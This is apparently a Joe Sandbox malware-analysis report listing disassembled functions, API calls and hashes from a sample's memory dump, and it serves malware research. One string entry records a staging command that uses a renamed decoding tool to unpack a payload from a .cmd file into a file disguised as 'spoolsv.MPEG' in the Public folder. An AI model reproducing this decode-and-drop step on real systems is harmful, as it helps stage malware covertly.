                                                    • Instruction ID: 6a3ad400c7805a115edb60c5f446e634aaac4106bc6db715328eddd2b20bdbc5
                                                    • Opcode Fuzzy Hash: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
                                                    • Instruction Fuzzy Hash: DC519E30E1C64385FB149FA8E4442B93BA1AF59B85F404034DB5ECAAB6DF7CE84597B0
                                                    Function 00007FF6BF4003AC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$ErrorLast$InformationVolume
                                                    • String ID: %04X-%04X$~
                                                    • API String ID: 2748242238-2468825380
                                                    • Opcode ID: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
                                                    • Instruction ID: 27e3f3cacde45d706ad96c03af2b81fcd7e3ec3134347665c41b4ba243e6a520
                                                    • Opcode Fuzzy Hash: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
                                                    • Instruction Fuzzy Hash: 96A19C32708BC28AEB658F7898502E977A1FB85784F448035EB4D8BBA9DF7CD6458700
                                                    Function 00007FF6BF3D9400 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 161COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$ErrorInformationLastVolume_wcsicmptowupper
                                                    • String ID: FAT$~
                                                    • API String ID: 2238823677-1832570214
                                                    • Opcode ID: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
                                                    • Instruction ID: d00663d60af5c32fca19ae0e11e9fd829f9cef9478599592917ad6987e26e997
                                                    • Opcode Fuzzy Hash: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
                                                    • Instruction Fuzzy Hash: D8718C32609BC18AEB218F68D8502E97BA0FB85789F448035DB4D8BB69DF3CD649C740
                                                    Function 00007FF6BF3DD840 Relevance: 18.4, APIs: 12, Instructions: 444memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD884
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD89D
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD94D
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DD964
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3DDB89
                                                    • wcstol.MSVCRT ref: 00007FF6BF3DDBDF
                                                    • wcstol.MSVCRT ref: 00007FF6BF3DDC63
                                                    • memmove.MSVCRT ref: 00007FF6BF3DDD33
                                                    • memmove.MSVCRT ref: 00007FF6BF3DDE9A
                                                    • longjmp.MSVCRT(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF6BF3DFE2A), ref: 00007FF6BF3DDF1F
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcessmemmovewcstol$_wcsnicmplongjmp
                                                    • String ID:
                                                    • API String ID: 1051989028-0
                                                    • Opcode ID: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
                                                    • Instruction ID: cbdb2fe9871e74b837736c2433d608adedd29d94fa5e209750ce8ec31bde5687
                                                    • Opcode Fuzzy Hash: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
                                                    • Instruction Fuzzy Hash: A302B17AA4D74281EB249F98E40027A77A5FB84BD4F548231DB8E8B7A4DF7CE451C780
                                                    Function 00007FF6BF3E6FB4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 148COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
                                                    • String ID: \\.\
                                                    • API String ID: 799470305-2900601889
                                                    • Opcode ID: 4180f233f4b8de15694120a786ea8bf0d50e59174174331ff54520a46fcb6cef
                                                    • Instruction ID: c2859d27f9c71018ee72b69fffb9ef9305a80bc32c36c79454d8ee949daddcb0
                                                    • Opcode Fuzzy Hash: 4180f233f4b8de15694120a786ea8bf0d50e59174174331ff54520a46fcb6cef
                                                    • Instruction Fuzzy Hash: 7651C432A18B82C5EB608F69E8002B977A0FF89B84F494535DB5E8F7A4DF3CD9458750
                                                    Function 00007FF6BF3D5458 Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E3578: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                      • Part of subcall function 00007FF6BF3E3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                      • Part of subcall function 00007FF6BF3E3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                      • Part of subcall function 00007FF6BF3E3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                      • Part of subcall function 00007FF6BF3E3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                      • Part of subcall function 00007FF6BF3E3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3D54DE
                                                    • WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3D552B
                                                    • WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3D554F
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3F345F
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3F347E
                                                    • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3F34C3
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3F34DB
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF6BF3D1F7D), ref: 00007FF6BF3F34FA
                                                      • Part of subcall function 00007FF6BF3E36EC: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3715
                                                      • Part of subcall function 00007FF6BF3E36EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF6BF3E3770
                                                      • Part of subcall function 00007FF6BF3E36EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E3791
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _get_osfhandle$ConsoleWrite$File$ByteCharLockModeMultiSharedWide$AcquireHandleReleaseTypewcschr
                                                    • String ID:
                                                    • API String ID: 1356649289-0
                                                    • Opcode ID: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
                                                    • Instruction ID: 876a813b2cc55eb2d460c2aa9f67c037e2d8b5c1e73126ba73a3941c575083ed
                                                    • Opcode Fuzzy Hash: 0c4a37dfe8b9f6674b9d741f685a90a2de3626c6216cde8b4183c3294efd6170
                                                    • Instruction Fuzzy Hash: 82918236A086429BEB549FA9E400179BBA1FB88B84F445135DB4ECB7B1DF3CE454CB40
                                                    Function 00007FF6BF3D14E8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
                                                    • String ID: :$\
                                                    • API String ID: 3961617410-1166558509
                                                    • Opcode ID: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
                                                    • Instruction ID: fdf6d35b77baea019f32b51ed4d105eaea1ed9a2034781ea3e769a9b0c836a83
                                                    • Opcode Fuzzy Hash: 7382dc9ba5dd15d1d826e80cca2a433ebb6210e0cfd6d3e104106e7a41e883e1
                                                    • Instruction Fuzzy Hash: 1B217F36A08642C7F7605BB8A444079BBA2EF89B95B448631EB1FC77B0DF7CE8458740
                                                    Function 00007FF6BF400C90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 282COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$callocfreememmovewcschr$AttributesErrorFileLastqsorttowupperwcsrchr
                                                    • String ID: &()[]{}^=;!%'+,`~
                                                    • API String ID: 2516562204-381716982
                                                    • Opcode ID: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
                                                    • Instruction ID: 52f96cbbf71acd755124feb3780f0468b2891ad2907adaa4fc0bf179ec8a671c
                                                    • Opcode Fuzzy Hash: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
                                                    • Instruction Fuzzy Hash: 2FC1D032A1879186EB508FA9E8502BE77A0FB94B94F445135EF8D83BA9DF7CE450D700
                                                    Function 00007FF6BF3FA39C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: MemoryProcessRead$AddressLibraryLoadProc
                                                    • String ID: NTDLL.DLL$NtQueryInformationProcess
                                                    • API String ID: 1580871199-2613899276
                                                    • Opcode ID: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
                                                    • Instruction ID: f6e5c7a7de180344dbfe3b1d77691d9c41f35057e42b9cf6dd5653ac2fef314a
                                                    • Opcode Fuzzy Hash: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
                                                    • Instruction Fuzzy Hash: 7151A272A18B8286EB508BA9E800679B7E4FF89B84F445135DB9E87B65DF3CD001C744
                                                    Function 00007FF6BF3D1F90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$EnvironmentVariable
                                                    • String ID: DIRCMD
                                                    • API String ID: 1405722092-1465291664
                                                    • Opcode ID: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
                                                    • Instruction ID: 6344d52790cd4d7d8c08f79bbac73fe1fee0b44f942a64640cd5d3f067dcbceb
                                                    • Opcode Fuzzy Hash: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
                                                    • Instruction Fuzzy Hash: 01816272A18BC189EB60CF74E8802ED77A4FB49748F004139DB4D9BB69DF38D5558740
                                                    Function 00007FF6BF3FD878 Relevance: 12.1, APIs: 8, Instructions: 89fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File_get_osfhandle$Pointer$BuffersFlushRead
                                                    • String ID:
                                                    • API String ID: 3192234081-0
                                                    • Opcode ID: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
                                                    • Instruction ID: b58b718f4100dd15bf182639e2515d371ca941716834135dc82b42037f0fa1fd
                                                    • Opcode Fuzzy Hash: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
                                                    • Instruction Fuzzy Hash: A931A236A08681CBE7109FB9E40467EBBA0FB89B90F449534DF5A8B7A5CF3CD4158B40
                                                    Function 00007FF6BF3FEC14 Relevance: 10.6, APIs: 7, Instructions: 121COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
                                                    • String ID:
                                                    • API String ID: 920682188-0
                                                    • Opcode ID: 709d1c67be100917fc71fda4c7ad07296061441c4da44e249bcfadc6653ab77c
                                                    • Instruction ID: 707b1f574ced24824cc565a58fc8f662474d5cbe95a1209de272f06b31766964
                                                    • Opcode Fuzzy Hash: 709d1c67be100917fc71fda4c7ad07296061441c4da44e249bcfadc6653ab77c
                                                    • Instruction Fuzzy Hash: 09516736705B818AEB25CF68E8546E877A0FB88B84F048035DB4E8B765EF3CD655C740
                                                    Function 00007FF6BF3DDF60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    • C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 , xrefs: 00007FF6BF3DE00B
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$FreeProcess_setjmp
                                                    • String ID: C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9
                                                    • API String ID: 777023205-2838863212
                                                    • Opcode ID: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
                                                    • Instruction ID: d4ac73e0da3a9c06de3e361b7547e8befd43da16ad98d1945463d21e6826ad97
                                                    • Opcode Fuzzy Hash: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
                                                    • Instruction Fuzzy Hash: 27516A34D5DA5285F7108F9DA8401B8BBA4BF48790F545535DB0DCA3B2DF3CA5A0C741
                                                    Function 00007FF6BF3E1FAC Relevance: 9.3, APIs: 6, Instructions: 260COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memsetwcsspn
                                                    • String ID:
                                                    • API String ID: 3809306610-0
                                                    • Opcode ID: b301965ff12d262252dd12f41c330d116590c5451c87bac9252232e49858c122
                                                    • Instruction ID: b8200fccdbfe5b32110f629fea7530ce8cf0306926e0aa33d747200adaebafbf
                                                    • Opcode Fuzzy Hash: b301965ff12d262252dd12f41c330d116590c5451c87bac9252232e49858c122
                                                    • Instruction Fuzzy Hash: 9AB1A072E18B5681EA509B9DE4902B977A0FF58B80F458031CB4E8BBB5DF7CE851C750
